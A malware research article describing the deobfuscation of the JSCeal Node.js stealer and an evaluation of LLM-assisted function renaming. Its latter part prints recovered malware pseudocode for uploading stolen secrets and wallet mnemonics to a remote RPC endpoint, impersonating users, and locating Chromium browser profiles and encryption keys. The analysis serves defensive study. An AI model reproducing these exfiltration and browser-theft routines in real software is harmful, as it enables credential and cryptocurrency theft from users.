}

We have continue statements inside the if blocks. In the original flow, this leads to jumping back to the top of the loop and fetching another chunk from the list. But when we unflatten the flow, and remove the loop, it no longer makes sense, so this logic has to be rewritten.

The chunk should therefore look as follows after this adjustment:

// Chunk 0:
r15 = r2["Uugef"]
if (r15(r11, r12))
{
    ACCU = 0
}
else // added else statement
{
    r15 = r2["PgJCU"]
    r17 = r2["LqFvW"]
    r17 = r17(r11, r12)
    if (r15(r17, r5))
    {
        ACCU = 1
    }
    else // added else statement
    {
        return -1
    }
}

The continue statements have been removed, and the code that originally followed each if statement has been moved into the corresponding else clause.

The current version of our deobfuscation pass can handle such scenarios. It automatically removes the nested continue statements and reconstructs the equivalent logic by building an else clause from the code that follows the original if statement. This has proved sufficient in the majority of the analyzed cases. However, we may occasionally encounter more complex or ambiguous variants that are not yet resolved. These cases will be addressed in future versions as our toolkit [7] evolves.

Resolving Proxies and Operations

Across the code, we often encounter functions that act as proxies for other functions. Their only role is to complicate the flow, misleading readers about the actual function being called and making its arguments harder to parse.

The simplest proxies look as follows: the actual function that is about to be called is just passed as one of the arguments.

function func_hgFUm_0x17275c6577e9(a0, a1, a2, a3, a4, a5, a6)
{
    r1 = a1
    r2 = a2
    r3 = a3
    r4 = a4
    r5 = a5
    r6 = a6
    return a0(r1, r2, r3, r4, r5, r6)
}
function func_oWgYF_0x17275c6566c1(a0, a1, a2, a3, a4)
{
    r1 = a1
    r2 = a2
    r3 = a3
    r4 = a4
    return a0(r1, r2, r3, r4)
}

They are usually simple to resolve. First, we reduce each of them to their basic form, which removes the use of the local registers. For example:

function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3)
{
-   r1 = a1
-   r2 = a2
-   r3 = a3
-   return a0(r1, r2, r3)
+   return a0(a1, a2, a3)
}

Then, we replace their calls. After all the calls to the particular proxy are replaced with their basic meaning, the proxy itself can be hidden in the code.

Example:

-function func_INBzN_0x16abcdb5cc69(a0, a1, a2, a3)
-{
-   return a0(a1, a2, a3)
-}

@@ -22213,7 +21565,7 @@ function func_J_0x16abcdb59891()
    }
    else
    {
-       ACCU = func_INBzN_0x16abcdb5cc69(func_k_0x16abcdb5a2d9, <this>, null, null)
+       ACCU = func_k_0x16abcdb5a2d9(<this>, null, null)
    }

As with proxy calls, there are plenty of other small functions that should be resolved and hidden. In multiple places in the code we can find operations that are implemented by functions, with obfuscated names.

For example:

function func_wcmWN_0x35459f2fab89(a0, a1)
{
    return a0 in a1
}
function func_eBvDY_0x35459f2fa789(a0, a1)
{
    return (a0 - a1)
}
function func_wNPyv_0x35459f2fa689(a0, a1)
{
    return (a0 / a1)
}
function func_oEEDc_0x35459f2faa89(a0, a1)
{
    return a0(a1)
}

The same operation can also be defined by multiple instances of an identical function (i.e. there are multiple functions implementing simple addition).

One of our deobfuscating passes is meant to replace calls to such functions with the actual operations that they represent. However, the functions may not be called directly. So, before we proceed with the substitution, we need to apply all needed simplifications.

Iterative propagation of the structures

To complicate the flow even more, the variables and functions are often not used directly. They may be first defined as a local dictionary, initialized, then passed further, to be referenced in different parts of the code.

In the snippet below, a dictionary is first assigned to the local register r1, filled with references to functions, and further assigned to the scope variable (Scope[846][21]).

    r1 = new {"hKCZK": null, "kdujm": null, "siBVG": null, "qQNNx": null, "ECBQT": null, "Bdomb": null}
    r1["hKCZK"] = func_hKCZK_0x24149a8df611
    r1["kdujm"] = func_kdujm_0x24149a8df931
    r1["siBVG"] = func_siBVG_0x24149a8dfbe1
    r1["qQNNx"] = func_qQNNx_0x24149a8dfe99
    r1["ECBQT"] = func_ECBQT_0x24149a8e0151
    r1["Bdomb"] = func_Bdomb_0x24149a8e0409
    Scope[846][21] = r1

Then, each of these functions is called indirectly, by one of the children of the declarer.

Notice that the keys of many of the dictionaries are strings. This is why decrypting strings is such a crucial step in the whole pipeline: without them, we are unable to proceed further.

Due to the layered nature of the obfuscator, the pass that propagates such defined structures must be run multiple times at different stages. The arguments to the string deobfuscation functions are also often passed via dictionaries set into a scope. One such example is given below – in this case, the string decoding function is called via register r5, and its two arguments are passed via Scope[846][3]:

r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])]

Only after filling them in and deobfuscating strings are we able to see the actual key of the next dictionary (in the given case, it is "qQNNx"). The next run of the pass allows us to resolve this key to the value it was mapped to by another function (here: it is a reference to the function func_qQNNx_0x24149a8dfe99).

r10 = Scope[846][21]["qQNNx"] //func_qQNNx_0x24149a8dfe99

This is not the end of the rabbit-hole. The referenced function may itself use values passed in a similar way. Below we can see that it first fetches some function via Scope[845][29] using the key "PQxQy" and then calls this function with two arguments. Basically, it is a wrapper.

function func_qQNNx_0x24149a8dfe99(a0, a1)
{
    r1 = Scope[845][29]["PQxQy"]
    return r1(a0, a1)
}

Once we track upstream what is behind this key, we find a reference to another function:

r4 = new {... "PQxQy": null, ...}
...
    r4["PQxQy"] = func_PQxQy_0x24149a8dd581
...
    Scope[845][29] = r4

Finally, after resolving it to a self-contained unit we find that this whole chain leads to the execution of a simple atomic operation:

function func_PQxQy_0x24149a8dd581(a0, a1)
{
    return (a0 - a1)
}

By peeling the layers, one by one, we manage to express such operations with their literal meaning. An example of the complete simplification process is given below.

Step 1 (initial decompiled code):

function func_value_0x24149a8e3d19(a0)
{
[...]
        r10 = Scope[846][21][r5(Scope[846][3]["N"], Scope[846][3]["M"])]
        r13 = r5(Scope[846][3]["k"], Scope[846][3]["Q"])
        r12 = r0[(r13 + "h")]
        r10 = r10(r12, a0)

Step 2 (resolve arguments for the string deobfuscation function func_me_0x24149a8e4421):

        r10 = Scope[846][21][func_me_0x24149a8e4421(12568, "%]hf")] //"qQNNx"
        r13 = func_me_0x24149a8e4421(34408, "[Jy3") //"lengt"
        r12 = r0[(r13 + "h")]
        r10 = r10(r12, a0)

Step 3 (the string revealed the key of another dictionary passed via scope, that resolves to a function):

        r10 = Scope[846][21]["qQNNx"] // func_qQNNx_0x24149a8dfe99
        r12 = r0["length"]
        r10 = r10(r12, a0)

Step 4 (the found function is called in the line below; it resolves to a proxy function):

        r12 = r0["length"]
        r10 = func_qQNNx_0x24149a8dfe99(r12, a0) // ->  func_PQxQy_0x24149a8dd581

Step 5 (substitute the proxy function with the actual function it calls):

r12 = r0["length"]
r10 = func_PQxQy_0x24149a8dd581(r12, a0)

Step 6 (the call resolves to an atomic operation and can be substituted by such):

r12 = r0["length"]
r10 = (r12 - a0)

The given example is just one of the possible variants in which such a propagation chain may work. It has been presented to give an idea of the underlying complexity.

Interpreting the flow

Once we have the major obfuscation layers removed, the malware starts revealing its shape. This allows us to pinpoint the most important building blocks of the whole execution flow, and guide next steps.

The entry point of the file is the function labeled start. At the very end of it, the functions that will be running the main operations are set up. Example:

    global_Xr = func_Xr_0x93e23cef8e9
    [...]
    d7e = global_Xr(func_unknown_0x217bb6195779)
    [...]
    G7e = {}
    M7e = global_Xr(func_unknown_0x7b2a97682c9)
    j7e = require("dns")
    ACCU = global_n2()
    r1 = j7e["setServers"]
    r3 = new [0, 0]
    r3[0] = "1.1.1.1"
    r3[1] = "8.8.8.8"
    ACCU = r1(r3)
    ACCU = global_Soe(__filename)
    if (global_Soe(__filename))
    {
        ACCU = global_d7e()
        ACCU = global_kV(s7e)
    }
    else
    {
        ACCU = global_M7e()
        ACCU = global_kV(G7e)
    }
    r0 = ACCU
    return ACCU
}

This still contains some obfuscation patterns that need to be understood and removed.

Proxy functions using scopes

The start function sets up several proxy functions that are further referenced via globals. They come in a few different variants, but we will illustrate the most common type. Let’s focus on the fragments of the earlier snippet:

global_Xr = func_Xr_0x93e23cef8e9
...
d7e = global_Xr(func_unknown_0x217bb6195779)
...
M7e = global_Xr(func_unknown_0x7b2a97682c9)
...
    if (global_Soe(__filename))
    {
        ACCU = global_d7e()
        ...
    }
    else
    {
        ACCU = global_M7e()
        ...
    }

The global_Xr variable points to the following function:

function func_Xr_0x93e23cef8e9(a0, a1)
{
    r0 = Scope[0]
    Scope[8554][3] = a0
    Scope[8554][2] = a1
    return func_unknown_0x93e23cef9f9
}

That function finishes by returning a reference to another function, which makes the second part of the flow. It uses the scope arguments that were previously set up:

function func_unknown_0x93e23cef9f9()
{
    if (Scope[8554][3])
    {
        r0 = Scope[8554][3]
        Scope[8554][3] = 0
        Scope[8554][2] = r0(0)
    }
    return Scope[8554][2]
}

The first step in deobfuscating it is recognizing how these functions behave when joined as one unit. It could be represented by the following pseudo-code:

function Xr(fn, cached) {
  return function thunk() {
    if (fn) {
      const tmp = fn;
      fn = 0;
      cached = tmp(0);
    }
    return cached;
  };
}

This is a lazy, one-shot wrapper: on its first invocation it calls the supplied function and caches the result; subsequent calls return the cached value. In the initialization sites shown here, the thunk is used to reach the underlying function, so for analysis we can collapse that indirection and expose the actual target directly.

We can observe it referenced similarly to the example below:

global_d7e = global_Xr(func_unknown_0x217bb6195779)
[...]
ACCU = global_d7e()

There is now a global thunk wrapping the target function. Once we understand this indirection, in the initialization path shown here we can expose the target directly:

ACCU = func_unknown_0x217bb6195779()

So, the final dispatcher can be interpreted as:

if (global_Soe(__filename))
    {
        ACCU = func_unknown_0x217bb6195779()
        ACCU = global_kV(s7e)
    }
    else
    {
        ACCU = func_unknown_0x7b2a97682c9()
        ACCU = global_kV(G7e)
    }

Finding the vital functions

To understand the flow further, we need to see what happens in the function called in each branch. Let’s look at one of them:

function func_unknown_0x7b2a97682c9()
{
    r5 = Scope[0]
    r2 = func_r_0x7b2a9768611
    r6 = new {"bALca": null, "rPEMA": null, "PUUhv": null, "zEykL": null}
    r6["rPEMA"] = func_rPEMA_0x7b2a9768939
    r6["PUUhv"] = func_PUUhv_0x7b2a9768a39
    r6["zEykL"] = func_zEykL_0x7b2a9768b39
    r1 = r6
    r4 = 0
    r7 = r1["zEykL"]
    ACCU = r7(P7e)
    r7 = r1["rPEMA"]
    ACCU = r7(X7e)
    r7 = r1["PUUhv"]
    ACCU = r7(N7e)
    r7 = r1["rPEMA"]
    ACCU = r7(R7e)
    return undefined
}

Functions like rPEMA simply perform calls via a proxy:

function func_rPEMA_0x7b2a9768939(a0)
{
    return a0()
}

So the real meaning is:

function func_unknown_0x7b2a97682c9()
{
    r4 = 0
    ACCU = global_P7e()
    ACCU = global_X7e()
    ACCU = global_N7e()
    ACCU = global_R7e()
    return undefined
}

In the other branch of the statement, it is:

function func_unknown_0x217bb6195779()
{
    r4 = 0
    ACCU = global_RU()
    ACCU = global_n7e()
    ACCU = global_c7e()
    ACCU = global_Xf()
    ACCU = global_FE()
    ACCU = global_x7e()
    return undefined
}

Functions such as P7e are defined in the start function as globals and resolve to:

global_RU = global_Xr(func_unknown_0x217bb618aaf1)
global_n7e = global_Xr(func_unknown_0x217bb618e1f1)
global_c7e = global_Xr(func_unknown_0x217bb61943c1)
global_Xf = global_Xr(func_unknown_0x1cab5d7b26e9)
global_FE = global_Xr(func_unknown_0x1d8d5671d7f1)
global_x7e = func_x7e_0x217bb6194f91

global_P7e = global_Xr(func_unknown_0x7b2a9764cb1)
global_X7e = global_Xr(func_unknown_0x7b2a9766509)
global_N7e = global_Xr(func_unknown_0x7b2a975fa61)
global_R7e = global_Xr(func_unknown_0x7b2a9751711)

Those are the functions that implement the actual malware functionality. Some of them are further obfuscated, for example:

function func_unknown_0x217bb618e1f1()
{
    r3 = Scope[0]
    r4 = new {"Vhzac": null, "ZljYv": null, "MbImZ": null}
    r4["Vhzac"] = func_Vhzac_0x217bb618e6d1
    r4["ZljYv"] = func_ZljYv_0x217bb618e7d1
    r4["MbImZ"] = func_MbImZ_0x217bb618e8d1
    r1 = r4
    r4 = r1["Vhzac"]
    ACCU = r4(f1)
    r4 = r1["ZljYv"]
    r7 = r1["Vhzac"]
    r7 = r7(Qs)
    global_eb = r4(Di, r7)
    r4 = r1["MbImZ"]
    ACCU = r4(ag)
    return undefined
}

After replacing the wrappers, we can see more clearly what the above code represents:

function func_unknown_0x217bb618e1f1()
{
    r3 = Scope[0]
    ACCU = global_f1() //   global_f1 = global_Xr(func_unknown_0x23f664e8d2b1)
    r7 = global_Qs() //     global_Qs = global_du(func_unknown_0x1cab5d7a90b1)
    global_eb = global_Di(r7) //    global_Di = func_Di_0x93e23cf17b1
    ACCU = global_ag() //   global_ag = global_Xr(func_unknown_0x1cab5d7b0399)
    return undefined
}

Further substituting the globals with their literal values and removing all the proxy layers finally reveals the bare dispatcher functions that can be easily followed and analyzed.

After the final transformation, the function presented above takes the following form:

function func_unknown_0x217bb618e1f1()
{
    ACCU = func_unknown_0x23f664e8d2b1()
    r7 = func_unknown_0x1cab5d7a90b1["exports"]()
    global_eb = func_Di_0x93e23cf17b1(r7)
    ACCU = func_unknown_0x1cab5d7b0399()
    return undefined
}

LLM-assisted function renaming

After the deterministic deobfuscation passes, the output is structurally much cleaner: strings are visible, important flattened flows have been reconstructed, and many proxy and operation-wrapper functions have disappeared. One problem remains unavoidable: compilation and obfuscation have destroyed the original semantic function names.

For a small program, an analyst could rename important functions manually. JSCeal contains thousands of functions, including a large amount of bundled dependency code, so manual naming does not scale. We therefore added an optional LLM-assisted renaming stage as a navigation aid.

The distinction is important: the LLM does not perform the core deobfuscation, and its output is not treated as evidence. It receives code that has already been recovered by the static pipeline and proposes labels intended to make the resulting function graph easier to browse.

Dependency-aware renaming

Because functions depend on other functions, the order in which they are sent to the renamer matters.

We start by building a dependency graph from the entry point. In the default mode, the graph follows direct function calls. In greedy mode, it follows all visible function references, including callbacks, handlers, and functions assigned into objects. Greedy mode therefore covers a broader part of the program, but it also produces a much larger graph.

Renaming proceeds leaf-first. Functions with the fewest unresolved dependencies are processed first. Each proposed name is then propagated into dependent functions before the next layer is processed. By the time the renamer reaches a high-level function, many of its callees already carry descriptive labels.

Conceptually:

Figure 4 - The conceptual flow of the function renamer
Figure 4 – The conceptual flow of the function renamer

The tool can send functions individually or group them into bulk requests. Generated mappings are stored in CSV, which also acts as a cache: interrupted runs can continue without re-querying functions that have already been covered. Reviewed or externally generated CSV mappings can also be applied without contacting an LLM.

The public release supports Anthropic, OpenAI, and Ollama backends. It also provides a focused --func mode for requesting a detailed analysis of one selected function, including a proposed name, behavior summary, evidence, and unresolved uncertainty.

Evaluating the proposed names

Because a plausible-sounding function name may still be incorrect, we evaluated the renaming stage separately from the deterministic deobfuscation.

The supporting experiments were conducted by extracting selected, context-rich function trees, starting from the roots responsible for the malware initialization logic, submitting them to the LLM-assisted analysis workflow, and manually verifying the proposed names.

For the final comparison, we generated names from the same normalized deobfuscated base using Claude Sonnet 4.6 and GPT-5.4-mini. Note that these models are not perfectly matched vendor tiers, but practical model configurations for processing payloads this large that were available at the time. This evaluation should be treated as an example, not as a ranking.

The results of one of the experiments are available in the repository of the supplementary materials [8] (session1).

Across more than 21,000 functions, the two models selected exactly the same textual name only 9.3% of the time. This provided a broad measure of naming agreement, but not of semantic correctness. Different names can describe the same behavior while failing an exact-string comparison. We therefore performed a separate contextual evaluation on 142 selected function trees, each built from a selected root toward its dependencies.

Across 142 selected roots:

  • both proposed names were semantically reasonable in 117 cases;
  • only the Sonnet name held up in 22 cases;
  • only the GPT name held up in 3 cases.

When we applied a stricter criterion — whether the name was both correct and sufficiently informative about the function’s actual role — Sonnet produced 128/142 useful names, while GPT produced 30/142. In another 90 cases, the GPT name still identified the correct general area of behavior but was too broad or imprecise to serve as a strong semantic label.

A representative example is a function that locates a certificate in the Windows certificate store and removes it. GPT labeled it findCertificate, capturing part of the implementation but missing the function’s effect. Sonnet proposed removeCertificate, which better described the behavior.

Sonnet was not infallible either. In one case, it proposed decryptLocalStateFile, while the function actually read and decrypted a DPAPI master-key file from the Windows Protect directory and verified its HMAC. The label sounded plausible because the surrounding code dealt extensively with browser decryption, but the function body did not support that exact interpretation.

These examples define the boundary of the method. The proposed name is a hypothesis. The function body is the evidence.

Strings, APIs, file paths, called functions, and data flow remain the basis for every important analytical claim. The LLM stage helps us find and navigate relevant logic faster; it does not replace reverse engineering.

Example: getGlobalAgent

The running example from the earlier deobfuscation stages is a good illustration. After string recovery, control-flow unflattening, and proxy/operation cleanup, its behavior is already visible: it normalizes a protocol and returns the appropriate HTTP or HTTPS global agent.

The model proposed the name getGlobalAgent, which is well supported by the body:

function getGlobalAgent(url) {
  const protocol = url.split(":")[0];

  if (protocol === "http") {
    return http.default.globalAgent;
  }

  if (protocol === "https") {
    return https.default.globalAgent;
  }

  if (protocol === "ws") {
    return http.default.globalAgent;
  }

  if (protocol === "wss") {
    return https.default.globalAgent;
  }

  throw new Error("Invalid protocol");
}

The useful part is not that the model “discovered” the behavior. The static pipeline had already exposed it. The name simply compresses that understanding into a label that can be propagated into higher-level callers.

Overview of the deobfuscated code

Although all the JSCeal payloads have similarities, their exact functionality may vary. In this part we will do a brief case study based on one selected sample:

Details of the campaign delivering this particular payload are given in Microsoft’s article [12] and Cato article [13].

ℹ Note that a comprehensive analysis of JSCeal’s capabilities is beyond the scope of this article; here we highlight selected functions to demonstrate that the deobfuscated output is sufficient for practical threat analysis.

Initialization

After cleaning up the whole flow, the start function becomes much smaller. We additionally applied the optional LLM-assisted renaming stage in greedy mode, which makes the recovered function graph easier to navigate.

Multiple structures are initialized in the start function. The proposed labels provide useful hints about their roles; the relevant behavior can then be verified by inspecting the recovered function bodies.

From the recovered assignments, we can see that a structure prepared locally is then copied into a global variable. For example:

    global_Nm = {}
    r3 = new {"default": null, "disableOverrideQR": null, "overrideQR": null}
    r3["default"] = func_getPm_0x10000bdcb
    r3["disableOverrideQR"] = func_getRemoveElementFn_0x10000bdcc
    r3["overrideQR"] = func_getQrLoginInitiator_0x10000bdcd
    ACCU = func_defineGetterProperties_0x100003170(global_Nm, r3)

The initialization of the actual malware logic is always at the end of the start function. Since all the functions are called directly now (not via proxies), and are renamed, we can quickly focus on those that actually initialize the malware functionalities.

    global_s7e = {}
    global_G7e = {}
    ACCU = func_requireCluster_0x10000317e()
    r1 = (require("dns"))["setServers"]
    r3 = new [0, 0]
    r3[0] = "1.1.1.1"
    r3[1] = "8.8.8.8"
    ACCU = r1(r3)
    ACCU = func_setupWorkerPrimary_0x100000001(__filename)
    if (func_setupWorkerPrimary_0x100000001(__filename))
    {
        ACCU = func_initializeApplication_0x10000c926()
        ACCU = func_markEsModule_0x10000317b(global_s7e)
    }
    else
    {
        ACCU = func_initializeModules_0x10000d2fe()
        ACCU = func_markEsModule_0x10000317b(global_G7e)
    }
    r0 = ACCU
    return ACCU
}

As we can see above, there are two alternative initialization functions, both leading to the setup of handlers for the core functionality. The decision about which path to follow is made by the function labeled func_setupWorkerPrimary_0x100000001, which returns true when the code is running in the primary cluster process and on the main thread. It also configures the primary cluster process to use "advanced" serialization.

function func_setupWorkerPrimary_0x100000001(a0)
{
    if (!global_uE["default"]["isPrimary"])
        || (!(require("worker_threads"))["isMainThread"])
    {
        return false
    }
    if ((a0))
    {
        ACCU = Error
        ACCU = Error("Worker root already configured")
    }
    r4 = global_uE["default"]
    if (r4["isPrimary"])
    {
        r4 = global_uE["default"]["setupPrimary"]
        r6 = new {"serialization": null}
        r6["serialization"] = "advanced"
        ACCU = r4(r6)
    }
    return true
}

Originally, both initialization functions that follow the decision were obfuscated with Control Flow Flattening, and used wrapped calls. Now their meaning is much clearer, and the inner function names give us a better approximation of what to expect.

Variant 1 (primary, main thread):

function func_initializeApplication_0x10000c926()
{
    r4 = 0
    ACCU = func_initializeFaroClient_0x100005504()
    ACCU = func_initializeMainRouter_0x10000c910()
    ACCU = func_initLevelDbModule_0x10000a912()
    ACCU = func_initializeMachineIdModule_0x10000c915()
    ACCU = func_initializeModules_0x10000c91e()
    ACCU = func_runMigrations_0x100000ab3()
    return undefined
}

Variant 2 (worker path):

function func_initializeModules_0x10000d2fe()
{
    r4 = 0
    ACCU = func_initializeAsarRouter_0x10000d28b()
    ACCU = func_initializeScreenCaptureModule_0x10000d2e3()
    ACCU = func_initSecurityModule_0x10000d2ef()
    ACCU = func_initializeNotificationModule_0x10000d2f9()
    return undefined
}

Comparing the initialization functions across different payloads can quickly give us an approximate idea of what has changed (although the structure is not always directly comparable).

Let’s zoom in on one of the functions called from this initializer: func_initializeMainRouter_0x10000c910. It sets up a large collection of handlers, and the proposed names give a quick indication of what to expect inside:

function func_initializeMainRouter_0x10000c910()
{
    r4 = 0
    ACCU = func_initMetaRouter_0x100005537()
    ACCU = func_initializePowerRouter_0x100005929()
    ACCU = func_initScreencastRouterModule_0x10000678b()
    ACCU = func_initKeydownRouterModule_0x10000679f()
    ACCU = func_initializeTerminalRouter_0x100006e0e()
    ACCU = func_initializeFileSystemRouter_0x100006efa()
    ACCU = func_initializeProcessRouter_0x100006f11()
    ACCU = func_initializeWindowsRouter_0x100007038()
    ACCU = func_initializeAppRouter_0x100009ef2()
    ACCU = func_initializeNgcRouter_0x10000a98f()
    ACCU = func_initializeRouterModule_0x10000a99e()
    ACCU = func_initializeBrowserRouter_0x10000b83a()
    ACCU = func_initTelegramModule_0x10000b862()
    ACCU = func_initializeSslProxyModule_0x10000be35()
    ACCU = func_initializeRouterModule_0x10000bffa()
    ACCU = func_initializeServerModule_0x10000c8bb()
    ACCU = func_initializeNotificationRouter_0x10000c8c2()
    ACCU = func_initializeApplication_0x10000c8cf()
    ACCU = func_initializeAutounattendModule_0x10000c8e7()
    ACCU = func_initRecoveryModule_0x10000c8f3()
    ACCU = func_initSystemControlModule_0x10000c8fe()
    r10 = new {"power": null, "screen": null, "keyboard": null, "terminal": null, "filesystem": null, "processes": null, "windows": null, "asar": null, "ngc": null, "checker": null, "chromium": null, "telegram": null, "proxy": null, "reverseProxy": null, "server": null, "toast": null, "machine": null, "unattend": null, "winRE": null, "tools": null}
    r10["power"] = global_DP
    r10["screen"] = global_QX
    r10["keyboard"] = global_RX
    r10["terminal"] = global_YX
    r10["filesystem"] = global_iG
    r10["processes"] = global_oG
    r10["windows"] = global_aG
    r10["asar"] = global_oj
    r10["ngc"] = global_iz
    r10["checker"] = global_sz
    r10["chromium"] = global_EK
    r10["telegram"] = global_pK
    r10["proxy"] = global_HK
    r10["reverseProxy"] = global_tU
    r10["server"] = global_pU
    r10["toast"] = global_gU
    r10["machine"] = global_VU
    r10["unattend"] = global__U
    r10["winRE"] = global_yU
    r10["tools"] = global_kU
    global_RL = (global_Nh["router"])(r10)
    return undefined
}

The structure is a tRPC router tree: each initialize*Router or initialize*Module call builds a set of procedures and assigns them to a global. The same router / procedure / query / mutation pattern recurs throughout the payload, including in the security, screen capture, and cryptocurrency modules shown later. For example:

function func_initSecurityModule_0x10000d2ef()
{
    Scope[6][6] = func_n_0x10000d2e4
    r5 = func_initializeNativeModule_0x1000054f8["exports"]()
    global_JB = func_interopRequireWildcard_0x10000317a(r5)
    ACCU = func_requireCluster_0x10000317e()
    ACCU = func_noop_0x10000a9a0()
    ACCU = func_initClusterModule_0x10000cdef()
    r2 = (func_createInstance_0x100000ab5())["router"]
    r4 = new {"getUserDirectory": null}
    r6 = (func_createInstance_0x100000ab5())["procedure"]
    r5 = r6["query"]
    r4["getUserDirectory"] = r5(func_getUserDirectory_0x10000d2ec)
    global_OL = r2(r4)
    ACCU = func_runIfWorkerPool_0x10000000b(("security-impersonation"), func_impersonateUserAndInit_0x10000d2ee)
    return undefined
}

// the handler:
function func_impersonateUserAndInit_0x10000d2ee(a0)
{
    r1 = global_JB["impersonateUserSecurity"]
    ACCU = r1(a0)
    ACCU = func_initWorkerSocket_0x100000abd(global_OL)
    return undefined
}

Initialization functions frequently end by registering a worker thread to run the handlers they just built. Here func_runIfWorkerPool_0x10000000b binds the security-impersonation pool to func_impersonateUserAndInit_0x10000d2ee, which impersonates a user security context before attaching the router to a worker socket. The remaining modules follow the same shape; below we look at the ones that expose the most capability.

Uploading collected data

Among the recovered initialization functions are routers that register handlers for collected secrets. Following those handlers downstream shows how the local routes reach the malware’s network client.

function func_initializeApplicationsRouter_0x10000c8a5()
{
    Scope[604][4] = func_n_0x10000c89e
    r3 = 0
    ACCU = func_initializeNetworkClient_0x100006702()
    ACCU = func_initializeDatabase_0x10000c895()
    ACCU = func_unknown_0x10000590f()
    r6 = global_fi["object"]
    r8 = new {"application": null, "value": null}
    r8["application"] = global_fi["string"]()
    r8["value"] = global_fi["string"]()
    global_DL = r6(r8)
    r9 = new {"secrets": null}
    r13 = new {"save": null}
    r17 = (global_DB["procedure"])["input"]
    r17 = r17(global_DL)
    r16 = r17["meta"]
    r18 = new {"openapi": null}
    r19 = new {"method": null, "path": null}
    r19["method"] = "POST"
    r19["path"] = "/applications/secrets/save"
    r18["openapi"] = r19
    r16 = r16(r18)
    r15 = r16["output"]
    r17 = global_fi["void"]
    r17 = r17()
    r15 = r15(r17)
    r14 = r15["mutation"]
    r13["save"] = r14(func_saveApplicationSecretHandler_0x10000c8a4)
    r9["secrets"] = (global_DB["router"])(r13)
    global_fU = (global_DB["router"])(r9)
    return undefined
}

An analogous route handles collected wallet mnemonic data through /wallets/mnemonic/save:

function func_initializeMnemonicRouter_0x10000c89d()
{
[...]
    r11["path"] = "/wallets/mnemonic/save"
[...]
    r5["saveMnemonic"] = r6(func_saveMnemonicHandler_0x10000c89c)
 // leads to: func_saveMnemonic_0x1000005dc
}

The handler passes the record type, collected value, mutation callback, and fields used by the common diff/save helper to global_hl. After computing whether the new value changes the stored state, the helper invokes the corresponding global_iB mutation when a save is required.

function func_saveMnemonic_0x1000005dc(a0)
{
    r7 = "mnemonic"
    r9 = global_iB["wallets"]["saveMnemonic"]
    r9 = r9["mutate"]
    r11 = new [0]
    r11[0] = "words"
    r5 = r2
    return global_hl(r7, a0, r9, r11)
}

The initializer (func_initializeNetworkClient_0x100006702) wires global_iB to two actual transports: the RequestLink uses func_sendBinaryData_0x100006700, while its SocketLink uses func_connectWebSocket_0x1000066ff.

See the original function [here].

Following func_sendBinaryData_0x100006700 shows where the HTTP path leads next:

function func_sendBinaryData_0x100006700()
{
    r1 = ...
    r0 = ...
    r3 = undefined
    r4 = func_buildRpcUrl_0x1000004c7("https", (""))
    return func_postBinaryData_0x1000004c4(...r3, r4, r1)
}

There is an analogous function for the WebSocket:

function func_connectWebSocket_0x1000066ff()
{
    r1 = func_buildRpcUrl_0x1000004c7("wss")
    ACCU = func_createWriteStream_0x100005cb8
    return func_createWriteStream_0x100005cb8(r1)
}

The URL builder constructs an RPC endpoint in the form https://api.<domain>/rpc or wss://api.<domain>/rpc, and adds machineId and token query parameters.

function func_buildRpcUrl_0x1000004c7(a0, a1)
{
    ...
    r7 = (a0 + "://api.")
    r7 = (r7 + global_CE)
    r5 = (r7 + "/rpc")

    r11 = new {"machineId": null, "token": null}
    r11["machineId"] = global_cE
    r11["token"] = r1

    return func_buildUrlWithParams_0x1000002a6(r5, r11)
}

The HTTP transport ultimately performs a binary POST:

function func_postBinaryData_0x1000004c4(a0, a1, a2)
{
    ...
    r7 = global__b["post"]

    r11 = new {"headers": null, "responseType": null, "signal": null}
    r12 = new {"content-type": null}
    r12["content-type"] = "application/octet-stream"
    r11["headers"] = r12
    r11["responseType"] = "arraybuffer"

    r8 = r7(a0["toString"](), a1, r11)
    r7 = await r8
    ...
}

It submits the supplied binary payload as application/octet-stream and expects an arraybuffer response.

Stealing browser data

The browser module is one of the broader components recovered from the payload. Rather than implementing a parser for a single Chrome profile, JSCeal defines a common abstraction for several Chromium-based browsers.

In the analyzed sample, the configuration includes Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Avast Secure Browser, Vivaldi, and Cốc Cốc. For each browser, the malware stores the executable name and the expected location of its user-data directory. Some entries also contain browser-specific launch arguments, extension settings, and cryptographic material.

A fragment of the configuration is shown below:

function func_initializeBrowserConfig_0x10000a9ad(a0)
{
[...]
    r6 = new {"browsers": null, "extensions": null}
    r7 = new {"CHROME_BROWSER": null, "EDGE_BROWSER": null, "BRAVE_BROWSER": null, "OPERA_BROWSER": null, "OPERA_GX_BROWSER": null, "AVAST_BROWSER": null, "VIVALDI_BROWSER": null, "COCCOC_BROWSER": null}
    r8 = new {"executable": null, "userData": null, "hmacKey": null, "serviceKeys": null, "msi": null}
    r8["executable"] = "chrome.exe"
    r9 = r1["join"]
    r8["userData"] = r9("AppData", "Local", "Google", "Chrome", "User Data")
    r8["hmacKey"] = func_base64ToBuffer_0x10000a9a9("50jzNthepfnc3yXY80emW0zfZnYA8C32ckoq8YohLSa3iKJQhpEM86kDE2locfPcBYI3MMkd+LpcT9nIhLUFqA==")
    r9 = new {"v1": null, "v2": null, "v3": null}
    r9["v1"] = func_base64ToBuffer_0x10000a9a9("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=")
    r9["v2"] = func_base64ToBuffer_0x10000a9a9("6Y831/Th+kM9GTBNwiWAQgkOLR1+6nZw1B9zjQhylmA=")
    r10 = new {"name": null, "value": null}
    r10["name"] = "Google Chromekey1"
    r10["value"] = func_base64ToBuffer_0x10000a9a9("zPihzsVmBbhRdVK6Gi0GHAOinpAnT7L89Zukt1w5I5A=")
    r9["v3"] = r10
    r8["serviceKeys"] = r9
    [...]

You can see the full function [here].

The code reads the browser’s Local State file and uses its profile.info_cache structure to enumerate available profiles. Each profile is then represented by an object exposing separate iterators for the artifacts that can be collected:

iterCookies
iterLogins
iterSessions
iterTokens
iterHistoryURLs
iterBookmarks
iterExtensions

The Local State file also contains information required to decrypt protected browser data. JSCeal retrieves both the traditional encrypted key and the newer App-Bound encrypted key:

function func_readEncryptionKeys_0x10000b6e9(a0, a1, a2)
{
    Scope[1593][3] = a1
    Scope[1593][2] = a2
    r6 = <closure>
    r7 = <this>
    r0 = a2
    ACCU = func_b_0x10000b6e6
    Scope[1593][4] = func_b_0x10000b6e6
    try
    {
        r7 = Scope[1591][11]["join"]
        r1 = r7(a0, "Local State")
        r7 = Scope[1591][9]["readJSON"]
